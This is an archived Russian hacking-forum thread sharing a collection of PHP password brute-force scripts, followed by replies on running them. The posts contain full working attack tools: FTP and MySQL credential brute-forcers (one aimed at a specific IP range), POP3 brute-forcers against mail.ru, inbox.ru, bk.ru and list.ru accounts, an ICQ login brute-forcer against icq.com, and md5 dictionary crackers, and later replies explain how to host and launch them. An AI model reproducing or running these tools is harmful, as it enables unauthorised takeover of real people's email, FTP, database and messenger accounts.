1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

[PHP] Коллекция bruteforce

Тема в разделе "Web-хакинг, уязвимости CMS, эксплоиты", создана пользователем Koller, 7 июл 2008.

  1. Koller

    Koller Исчез... Глобальный модератор

    Регистрация:
    3 ноя 2006
    Сообщения:
    401
    Симпатии:
    234
    Баллы:
    0
    Ftp brute
    Код:
    <?php 
    set_time_limit(0); 
    
    $host = "host.ru"; // указываем хост 
    $port = 21; // указываем порт 
    
    $uid_file = file("login.txt"); // файл с именами 
    $pwd_file = file("passw.txt"); // файл с паролями 
    
    $brute_save = fopen("brute_save_ftp.txt","a+"); // сюда пишем удачно сбрутенные аккаунты 
    
    $yes_connect = 0; 
    $no_connect = 0; 
    
    if($conn = @ftp_connect($host, $port)) { 
    for($i=0; $i<count($uid_file); $i++) { 
    $login = trim($uid_file[$i]); 
    for($j=0; $j<count($pwd_file); $j++) { 
    $passwd = trim($pwd_file[$j]); 
    if($ftp_conn = @ftp_login($conn, $login, $passwd)) { 
    fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n"); 
    ftp_quit($conn); 
    $yes_connect++; 
    } 
    else { 
    $no_connect++; 
    continue; 
    } 
    } 
    } 
    } 
    else { 
    echo "<font face=Tahoma color=#444444 size=2>Не удалось установить связь с $host</font><br>"; 
    exit(); 
    } 
    
    echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>"; 
    echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>"; 
    
    $show_brute = file("brute_save_ftp.txt"); 
    for($i=0; $i<count($show_brute); $i++) { 
    list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]); 
    echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>"; 
    } 
    ?>

    SQL Brute
    Код:
    <?php 
    
    $host = "localhost"; // указываем хост на котором стоит мускуль 
    $port = "3306"; // указываем порт мускуля 
    
    $uid_file = file("login.txt"); // файл с именами 
    $pwd_file = file("passw.txt"); // файл с паролями 
    
    $brute_save = fopen("brute_save.txt","a+"); // сюда пишем удачно сбрутенные аккаунты 
    
    $yes_connect = 0; 
    $no_connect = 0; 
    
    for($i=0; $i<count($uid_file); $i++) { 
    $login = trim($uid_file[$i]); 
    for($j=0; $j<count($pwd_file); $j++) { 
    $passwd = trim($pwd_file[$j]); 
    if($conn = @mysql_connect($host.":".$port, $login, $passwd)) { 
    flock($brute_save, 3); 
    fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n"); 
    flock($brute_save, 1); 
    mysql_close($conn); 
    $yes_connect++; 
    } 
    else { 
    $no_connect++; 
    continue; 
    } 
    } 
    } 
    
    echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>"; 
    echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>"; 
    
    $show_brute = file("brute_save.txt"); 
    for($i=0; $i<count($show_brute); $i++) { 
    list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]); 
    echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>"; 
    } 
    
    ?>

    Mail Brute
    brute_mail.php

    Код:
    <?php 
    set_time_limit(0); 
    
    $user_login = file("user_mail.txt"); 
    $uesr_passwd = file("user_passwd.txt"); 
    $apop = 0; 
    
    include_once("./pop3.php"); 
    
    for($i=0; $i<count($user_login); $i++) { 
    $u_login = trim($user_login[$i]); 
    for($j=0; $j<count($user_passwd); $j++) { 
    $u_passwd = trim($user_passwd[$j]); 
    $pop3_connection = new pop3_class; 
    $pop3_connection->hostname = "pop3.mail.ru"; 
    if($pop3_connection->Open()) { 
    if($pop3_connection->Login($u_login, $u_passwd, $apop)) { 
    echo "Congritulation!"; 
    $pop3_connection->Close(); 
    } 
    else { 
    echo "SHIT"; 
    } 
    } 
    else { 
    echo "Failed!"; 
    exit(); 
    } 
    } 
    } 
    
    ?>

    pop3.php
    Код:
    <? 
    class pop3_class 
    { 
    var $hostname=""; 
    var $port=110; 
    
    var $connection=0; 
    var $state="DISCONNECTED"; 
    var $greeting=""; 
    var $must_update=0; 
    
    Function GetLine() 
    { 
    for($line=""; 
    { 
    if(feof($this->connection)) 
    return(0); 
    $line.=fgets($this->connection,100); 
    $length=strlen($line); 
    if($length>=2 
    && substr($line,$length-2,2)=="\r\n") 
    return(substr($line,0,$length-2)); 
    } 
    } 
    
    Function PutLine($line) 
    { 
    return(fputs($this->connection,"$line\r\n")); 
    } 
    
    Function OpenConnection() 
    { 
    if($this->hostname=="") 
    return("2 it was not specified a valid hostname"); 
    switch(($this->connection=fsockopen($this->hostname,$this->port))) 
    { 
    case -3: 
    return("-3 socket could not be created"); 
    case -4: 
    return("-4 dns lookup on hostname \"$hostname\" failed"); 
    
    case -5: 
    return("-5 connection refused or timed out"); 
    case -6: 
    return("-6 fdopen() call failed"); 
    case -7: 
    return("-7 setvbuf() call failed"); 
    default: 
    return(""); 
    } 
    } 
    
    Function CloseConnection() 
    { 
    if($this->connection!=0) 
    { 
    fclose($this->connection); 
    $this->connection=0; 
    } 
    } 
    
    Function Open() 
    { 
    if($this->state!="DISCONNECTED") 
    return("1 a connection is already opened"); 
    if(($error=$this->OpenConnection())!="") 
    return($error); 
    $this->greeting=$this->GetLine(); 
    if(GetType($this->greeting)!="string" 
    || strtok($this->greeting," ")!="+OK") 
    { 
    $this->CloseConnection(); 
    return("3 POP3 server greeting was not found"); 
    } 
    $this->greeting=strtok("\r\n"); 
    $this->must_update=0; 
    $this->state="AUTHORIZATION"; 
    return(""); 
    } 
    Function Close() 
    { 
    if($this->state=="DISCONNECTED") 
    return("no connection was opened"); 
    if($this->must_update) 
    { 
    if($this->PutLine("QUIT")==0) 
    return("Could not send the QUIT command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get quit command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not quit the connection: ".strtok("\r\n")); 
    } 
    $this->CloseConnection(); 
    $this->state="DISCONNECTED"; 
    return(""); 
    } 
    
    Function Login($user,$password,$apop) 
    { 
    if($this->state!="AUTHORIZATION") 
    return("connection is not in AUTHORIZATION state"); 
    if($apop) 
    { 
    if($this->PutLine("APOP $user ".md5($this->greeting.$password))==0) 
    return("Could not send the APOP command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get APOP login command response"); 
    if(strtok($response," ")!="+OK") 
    return("APOP login failed: ".strtok("\r\n")); 
    } 
    else 
    { 
    if($this->PutLine("USER $user")==0) 
    return("Could not send the USER command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get user login entry response"); 
    if(strtok($response," ")!="+OK") 
    return("User error: ".strtok("\r\n")); 
    if($this->PutLine("PASS $password")==0) 
    return("Could not send the PASS command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get login password entry response"); 
    if(strtok($response," ")!="+OK") 
    return("Password error: ".strtok("\r\n")); 
    } 
    $this->state="TRANSACTION"; 
    return(""); 
    } 
    Function Statistics($messages,$size) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("STAT")==0) 
    return("Could not send the STAT command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get the statistics command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not get the statistics: ".strtok("\r\n")); 
    $messages=strtok(" "); 
    $size=strtok(" "); 
    return(""); 
    } 
    Function ListMessages($message,$unique_id) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($unique_id) 
    $list_command="UIDL"; 
    else 
    $list_command="LIST"; 
    if($this->PutLine("$list_command $message")==0) 
    return("Could not send the $list_command command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message list command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not get the message listing: ".strtok("\r\n")); 
    if($message=="") 
    { 
    for($messages=array(); 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message list response"); 
    if($response==".") 
    break; 
    $message=intval(strtok($response," ")); 
    if($unique_id) 
    $messages[$message]=strtok(" "); 
    else 
    $messages[$message]=intval(strtok(" ")); 
    } 
    return($messages); 
    } 
    else 
    { 
    $message=intval(strtok(" ")); 
    return(intval(strtok(" "))); 
    } 
    } 
    
    Function RetrieveMessage($message,$headers,$body,$lines) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($lines<0) 
    { 
    $command="RETR"; 
    $arguments="$message"; 
    } 
    else 
    { 
    $command="TOP"; 
    $arguments="$message $lines"; 
    } 
    if($this->PutLine("$command $arguments")==0) 
    return("Could not send the $command command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message retrieval command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not retrieve the message: ".strtok("\r\n")); 
    for($headers=$body=array(),$line=0;;$line++) 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not retrieve the message"); 
    switch($response) 
    { 
    case ".": 
    return(""); 
    case "": 
    break 2; 
    default: 
    if(substr($response,0,1)==".") 
    $response=substr($response,1,strlen($response)-1); 
    break; 
    } 
    $headers[$line]=$response; 
    } 
    for($line=0;;$line++) 
    { 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not retrieve the message"); 
    switch($response) 
    { 
    case ".": 
    return(""); 
    default: 
    if(substr($response,0,1)==".") 
    $response=substr($response,1,strlen($response)-1); 
    break; 
    } 
    $body[$line]=$response; 
    } 
    return(""); 
    } 
    
    Function DeleteMessage($message) 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("DELE $message")==0) 
    return("Could not send the DELE command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get message delete command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not delete the message: ".strtok("\r\n")); 
    $this->must_update=1; 
    return(""); 
    } 
    
    Function ResetDeletedMessages() 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("RSET")==0) 
    return("Could not send the RSET command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not get reset deleted messages command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not reset deleted messages: ".strtok("\r\n")); 
    $this->must_update=0; 
    return(""); 
    } 
    Function IssueNOOP() 
    { 
    if($this->state!="TRANSACTION") 
    return("connection is not in TRANSACTION state"); 
    if($this->PutLine("NOOP")==0) 
    return("Could not send the NOOP command"); 
    $response=$this->GetLine(); 
    if(GetType($response)!="string") 
    return("Could not NOOP command response"); 
    if(strtok($response," ")!="+OK") 
    return("Could not issue the NOOP command: ".strtok("\r\n")); 
    return(""); 
    } 
    };

    PHP Simple mail.ru brute
    Код:
    <html> 
    <head> 
    <title>MailBrute By Joker-jar</title> 
    <meta http-equiv=Content-Type content="text/html; charset=windows-1251"> 
    </head> 
    <body> 
    
    <? 
    set_time_limit(0); 
    ignore_user_abort(1); 
    error_reporting(0); 
    
    $servers = Array( 
    "mail" => "pop3.mail.ru", 
    "inbox" => "pop3.inbox.ru", 
    "bk" => "pop3.bk.ru", 
    "list" => "pop3.list.ru", 
    ); 
    
    $pop3port = 110; 
    
    $passfile = "pass.txt"; 
    $good = "good.txt"; 
    $bad = "bad.txt"; 
    
    function CheckPass($pop3server, $username, $pass) 
    { 
    global $pop3port; 
    $fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30); 
    if (!$fp) 
    return false; 
    $buf = fgets($fp, 128); 
    if ($buf[0] != "+") 
    { 
    fclose($fp); 
    return false; 
    } 
    fputs($fp,"user ".$username."\r\n"); 
    $buf = fgets($fp, 128); 
    if ($buf[0] != "+") 
    { 
    fclose($fp); 
    return false; 
    } 
    fputs($fp,"pass ".$pass."\r\n"); 
    $buf = fgets($fp, 128); 
    if (strlen($buf) > 3 && $buf[0] == "+") 
    { 
    fclose($fp); 
    return true; 
    } 
    fclose($fp); 
    return false; 
    } 
    
    function genstr($l, $alf) 
    { 
    $result = ""; 
    for ($i=0;$i<$l;$i++) 
    $result .= $alf[0]; 
    return $result; 
    } 
    
    function nextpass($p, $alf) 
    { 
    for ($i=0;$i<strlen($p);$i++) 
    { 
    if (strpos($alf,$p[$i]) == strlen($alf)-1) 
    { 
    $p[$i] = $alf[0]; 
    } 
    else 
    { 
    $p[$i] = $alf[strpos($alf,$p[$i])+1]; 
    return $p; 
    } 
    } 
    $p .= $alf[0]; 
    return $p; 
    } 
    
    if (isset($_POST["name"])) 
    { 
    if ($_POST["name"] === "") 
    { 
    echo "Отсутствует имя</body></html>"; 
    exit; 
    } 
    if (!isset($servers[$_POST["popserver"]])) 
    { 
    echo "Неправильно задан pop3 сервер</body></html>"; 
    exit; 
    } 
    settype($_POST["minl"],"int"); 
    settype($_POST["maxl"],"int"); 
    if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0) 
    { 
    echo "Ошибка в параметрах длины пароля</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] !== "yes" && $_POST["alf"] === "") 
    { 
    echo "Алфавит пуст</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0)) 
    { 
    echo "Файл $passfile пуст или отсутствует</body></html>"; 
    exit; 
    } 
    if ($_POST["dict"] !== "yes") 
    { 
    //Полный перебор 
    $startpass = genstr($_POST["minl"],$_POST["alf"]); 
    $endpass = genstr($_POST["maxl"]+1,$_POST["alf"]); 
    $curpass = $startpass; 
    while ($curpass != $endpass) 
    { 
    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
    { 
    $f = fopen($good, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    exit; 
    } 
    else 
    { 
    $f = fopen($bad, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    } 
    $curpass = nextpass($curpass,$_POST["alf"]); 
    } 
    } 
    else 
    { 
    //Атака по словарю 
    $passes = file($passfile); 
    for($i=0; $i<count($passes);$i++) 
    { 
    $curpass = trim($passes[$i]); 
    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
    { 
    $f = fopen($good, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    exit; 
    } 
    else 
    { 
    $f = fopen($bad, 'ab'); 
    fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
    fclose($f); 
    } 
    } 
    } 
    } 
    ?> 
    
    <fieldset style="width: 500"> 
    <legend>Параметры брута</legend> 
    <form method="POST"> 
    <table border="0"> 
    <tr><td> 
    <input type="text" name="name" style="width: 100"> 
    </td><td>@ 
    <select name="popserver" style="width: 100"> 
    <option value="mail" selected>mail.ru 
    <option value="inbox">inbox.ru 
    <option value="bk">bk.ru 
    <option value="list">list.ru 
    </select> 
    </td></tr> 
    <tr><td colspan="2"><br> 
    <input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br> 
    <input type="radio" name=dict value="no">Атака полным перебором 
    </td></tr> 
    <tr><td style="text-align: right"> 
    алфавит: 
    </td><td> 
    <input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz"> 
    </td></tr> 
    <tr><td style="text-align: right"> 
    мин длина: 
    </td><td> 
    <input type="text" name="minl" style="width: 50" value="1"> 
    </td></tr> 
    <tr><td style="text-align: right"> 
    макс длина: 
    </td><td> 
    <input type="text" name="maxl" style="width: 50" value="5"> 
    </td></tr> 
    <tr><td colspan="2"> 
    <br> 
    <input type="submit" value="Начать брут и идти спать"> 
    </td></tr> 
    </table> 
    </form> 
    </fieldset> 
    </body> 
    </html>

    Artix ICQ phpBrute
    Код:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 
    "http://www.w3.org/TR/html4/loose.dtd"> 
    <html> 
    <head> 
    <title>Artix ICQ phpBrute</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> 
    </head> 
    <body> 
    <? 
    
    ///Для того, чтбы скрипт бесконечно работал 
    set_time_limit(0); 
    
    ///Чтобы все ошибки показывал 
    Error_Reporting(E_ALL & ~E_NOTICE); 
    
    ///Константы, просьба не менять 
    $config=array(); 
    $config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) 
    $config['pass']='./pass.txt'; ///Лист паролей 
    $config['separator']=';'; /// Разделитель уин;pass 
    $config['host']='www.icq.com'; /// HTTP сервер мирабов 
    $config['port']=80; /// HTTP порт 
    $config['statfile']='./stat.html'; ///Служебный файл 
    
    ///Если брутер запущен, то выдаем результат работы 
    if(file_exists($config['statfile'])) 
    { 
    include($config['statfile']); 
    echo ' 
    </body> 
    </html>'; 
    exit(); 
    } 
    
    ///Типа притворяемся браузером 
    $request = "POST /karma/login.php HTTP/1.1\r\n"; 
    $request .= "Host: ".$config['host']." \r\n"; 
    $request .= "User-Agent: Opera 7.50"; 
    $request .= "rulez\r\n"; 
    $request .= "Keep-Alive: 300\r\n"; 
    $request .= "Connection: keep-alive\r\n"; 
    $request .= "Referer: http://yandex.ru/ \r\n"; 
    
    ///Плохие и хорошие уины 
    $goodcount=0; 
    $badcount=0; 
    
    ///Открытие файла с паролями 
    $pass=file($config['pass']); 
    
    ///Непосредственно брут 
    for($i=0;$i<count($pass);$i++) 
    { 
    list($s,$s1)=explode($config['separator'],$pass[$i]); 
    
    ///Данные для отправки к мирабам 
    $posts = array ( 'dest' => '/whitepages/user_details.php', 
    'desc' => '', 
    'service' => '20', 
    'css'=> 'whitepages', 
    'uin_email'=> $s, 
    'password' => trim($s1) 
    ); 
    $postValues=""; 
    $s=''; 
    
    ///Кодирование 
    foreach( $posts AS $name => $value ) 
    { 
    $postValues .= urlencode($name) . "=" . urlencode($value) . '&'; 
    } 
    
    ///Создаем post запрос 
    $lenght = strlen($postValues); 
    $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n"; 
    $request2 .= "Content-Length: $lenght\r\n"; 
    $request2 .= "\r\n"; 
    $request2 .= $postValues; 
    
    ///Открываем сокет 
    $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30); 
    if (!$fp) 
    { 
    ///На случай ошибки 
    echo "$errstr ($errno)<br />\n"; 
    } 
    else 
    { 
    ///Отправляем данные на whitepages 
    fwrite($fp, $request2); 
    while (!feof($fp)) 
    { 
    $s.=fgets($fp, 128); 
    } 
    
    } 
    ///Закрываем сокет 
    fclose($fp); 
    
    ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем 
    if(strpos($s,'Set-C*****')==true) 
    { 
    $good=fopen($config['good'],'a'); 
    fwrite($good,$pass[$i]); 
    fclose($good); 
    $goodcount++; 
    } 
    else $badcount++; 
    
    if($i%10==0) 
    { 
    $count=count($pass)-$i; 
    
    ///Обновление статистики 
    $s=<<<HTML 
    --------------------------<br> 
    <b>Artix ICQ phpBrute</b> <br> 
    --------------------------<br> 
    Хороших: $goodcount<br> 
    Плохих: $badcount<br> 
    Осталось: $count<br> 
    ---<br> 
    HTML; 
    
    $stat=fopen($config['statfile'],'w+'); 
    fwrite($stat,$s); 
    fclose($stat); 
    } 
    } 
    
    $s=<<<HTML 
    --------------------------<br> 
    <b>Artix ICQ phpBrute</b> <br> 
    --------------------------<br> 
    Работа завершена. <br> 
    Хороших: $goodcount<br> 
    Плохих: $badcount<br> 
    Для продолжения, удалите файл со статистикой<br> 
    ---<br> 
    HTML; 
    
    ///Запись конечного результата в файл 
    $stat=fopen($config['statfile'],'w+'); 
    fwrite($stat,$s); 
    fclose($stat); 
    
    ///Брут завершен 
    ?>
    (c) Tyson
     
    1 человеку нравится это.
  2. ~!Dok_tOR!~

    ~!Dok_tOR!~ Продвинутый

    Регистрация:
    11 май 2008
    Сообщения:
    113
    Симпатии:
    52
    Баллы:
    0
    FTP brute

    Код:
    <?
    ignore_user_abort(1);
    set_time_limit(0);
    
    $fd = fopen("./ftp_users.txt", "r");
    $fl = fopen("./ftp_dict.txt", "r");
    $fr = fopen("./ftp_log.txt", "a");
    $i=206;
    while($i<214){
    $host = "202.6.141.$i";
    while(!feof($fd)){
            $user = fgets($fd);
                    while(!feof($fl)){
                            $pass = fgets($fl);
                                    $connect = ftp_connect($host);
                                    if(!$connect){
                                    fputs($fr, "Enable connect to $host\n");
    		        break;
                                    }else{
                                    $auth = ftp_login($connect, $user, $pass);
                                    if(!$auth){
    				fputs($fr, "$host:$user:$pass - incorrect\n");
    				ftp_quit($connect);
                                    }else{
                                    		fputs($fr, "$host:$user:$pass - CORRECT\n");
                                    		ftp_quit($connect);
                                    } 
                                    }
                    }
    }
    $i++;
    }
    fclose($fl);
    fclose($fd);
    fputs($fr, "Done:\n");
    fclose($fr);
    ?>
    
    md5 bruter

    Код:
    <?
    ignore_user_abort(1);
    set_time_limit(0);
    
    $fd = fopen("./dict.txt", "r");
    $fl = fopen("./log.txt", "a");
    $fs = fopen("./hashs.txt", "r");
    fls = fopen("./stat.txt", "w");
    $count = 0;
    if(!$fd){
    return "Fill 'dictionary_file' field!";
    }elseif(!$fl){
    return "Fill 'log_file' field!";
    }elseif(!$fs){
    return "Fill 'hashs_file' field!";
    }else{
    	while(!$feof($fd)){
    		$pass = fgets($fd);
    		$brute_hash = md5($pass);
    		while(!$feof($fs)){
    			$hash = fgets($fs);
    			if($brute_hash == $hash){
    				fputs($fl, "$hash:$pass\n---\n");
    			}
    		}
    		$count = $count + 1;
    		fputs($fls, "$count passwords was bruted...");
    	}
    }
    fclose($fd);
    fclose($fl);
    fclose($fs);
    fclose($fls);
    ?>
    
    
     
    1 человеку нравится это.
  3. b3

    b3 Продвинутый

    Регистрация:
    8 окт 2007
    Сообщения:
    142
    Симпатии:
    104
    Баллы:
    0
    md5 brute пример на http://sqlinj.com/md5/
    index.php
    Код:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Восстановление Забытых Паролей</title>
    <style type="text/css">
    <!--
    body,td,th {
    	color: #009933;
    }
    body {
    	background-color: #333333;
    }
    .style1 {
    	font-family: Verdana, Arial, Helvetica, sans-serif;
    	color: #006600;
    }
    .b3class {
    	background-color: #A7A6AA;
    	border: thin inset #006600;
    	font-size: 10px;
    	font-style: normal;
    	text-transform: none;
    	font-weight: normal;
    }
    .style3 {
    	font-family: Verdana, Arial, Helvetica, sans-serif;
    	font-size: 12px;
    	color: #006600;
    }
    .style8 {
    	font-size: 12px;
    	font-family: Verdana, Arial, Helvetica, sans-serif;
    	font-weight: bold;
    }
    -->
    </style>
    </head>
    
    <body>
    <?php
       //error_reporting(0);
       set_time_limit(0);
    ?>
    <div align="center">
      <h1 class="style1">:: Восстановление Забытых Паролей ::</h1>
      <p class="style3">betatest v 0.1</p>
    
      <table width="75%" border="0" bordercolor="#006600" bgcolor="#000000">
        <tr>
          <td>
        <form id="form1" name="form1" method="post" action="<?php echo($PHP_SELF); ?>">
    
        <div align="center">
          <span class="style8">:: введите md5 хэш ::</span>
          <p>
            <input name="resetbutton" type="submit" class="b3class" id="resetbutton" value="Очистить форму">
            <input name="hash" type="text" class="b3class" id="textfield" size="49" maxlength="32">
    <?php
    if (isset($_POST['hash']))
    {
    $h = $_POST['hash'];
    if(preg_match('/[A-Za-z0-9]{32,32}/', $h)) {
    
    $f = file("pass_blala3232.txt");
    for ($i=0; $i<count($f); $i++) {
         if($h == md5(trim($f[$i])))
         { $result = ($f[$i]); break; }
         else { $result = "не найден в базе..."; }
    }
    } else { $result = "Неправильный формат хеша"; }
    } else { $result = "В ожидании"; }
    ?>
            <input name="button" type="submit" class="b3class" id="button" value="Вспомнить Пароль">
            </p>
          <p class="style8">:: Результат :: <?php echo "<br>ваш хэш - <font color=red><b>".$result."</b></font>" ;?></p>
        </div>
          </form>  </td>
        </tr>
      </table>
    
    </div>
    </body>
    </html>
    
    pass_blala3232.txt
     
  4. Dr.TRO

    Dr.TRO Продвинутый

    Регистрация:
    16 мар 2009
    Сообщения:
    11
    Симпатии:
    8
    Баллы:
    0
    И все таки повторюсь если "Pascal in linux = целофановый пакет вместо гандона ..."
    то bruteforce in PHP = Pascal in linux ...
    Это бред - пхп толком никогда не реализует потоки, да и еще одну интересную технологию - CUDA, технология позволяющая подключать к бруту хешей например видеокарту и ее мощности что ускоряет перебор ... По этому я считаю что брут на пыхпых это глупо и ниуместно а главное - нерационально ...
     
  5. DanxilL

    DanxilL Новичок

    Регистрация:
    16 июл 2009
    Сообщения:
    21
    Симпатии:
    0
    Баллы:
    0
    Dr.TRO,
    Видити ли в чем дело, бывает что приходиться довольствоваться брутами и на рнр

    Добавлено через 9 минут
    Koller,
    Большое спасибо за подборку...
     
    Последнее редактирование: 9 авг 2009
  6. (N)(N)

    (N)(N) Новичок

    Регистрация:
    22 мар 2009
    Сообщения:
    3
    Симпатии:
    0
    Баллы:
    0
    Извините за тупой вопрос, да и еще наверно не в тему, но что делать с этими скриптами? :)
     
  7. b3

    b3 Продвинутый

    Регистрация:
    8 окт 2007
    Сообщения:
    142
    Симпатии:
    104
    Баллы:
    0
    (N)(N),
    Ничего, прийдет время сам поймеш, а сейчас читай пожалуйста молча форум, без вопросов.
     
  8. mg-el

    mg-el Продвинутый

    Регистрация:
    18 янв 2009
    Сообщения:
    0
    Симпатии:
    74
    Баллы:
    0
    мистер гугл спешит к тебе на помощь... ставь скрипт на локалхост или на виртуальный хост , запускай и вуаля.)

     
  9. DanxilL

    DanxilL Новичок

    Регистрация:
    16 июл 2009
    Сообщения:
    21
    Симпатии:
    0
    Баллы:
    0
    mg-el,
    Гыыы гугля рулед!
    (N)(N),
    Вы можете найти в интернете бесплатный хостинг зарегить там за собой какое то место. А после залить туда файлы с расширением *.php
    затем к примеру если вы заливали файлы в корневую директорию, и Ваш сайт назывался: www.example.com то обратится к файлу вы можете http://www.example.com/название_файла.php
     
  10. ozs

    ozs ... Модератор

    Регистрация:
    25 дек 2007
    Сообщения:
    566
    Симпатии:
    390
    Баллы:
    0
    нет не надо компилировать
     

Поделиться этой страницей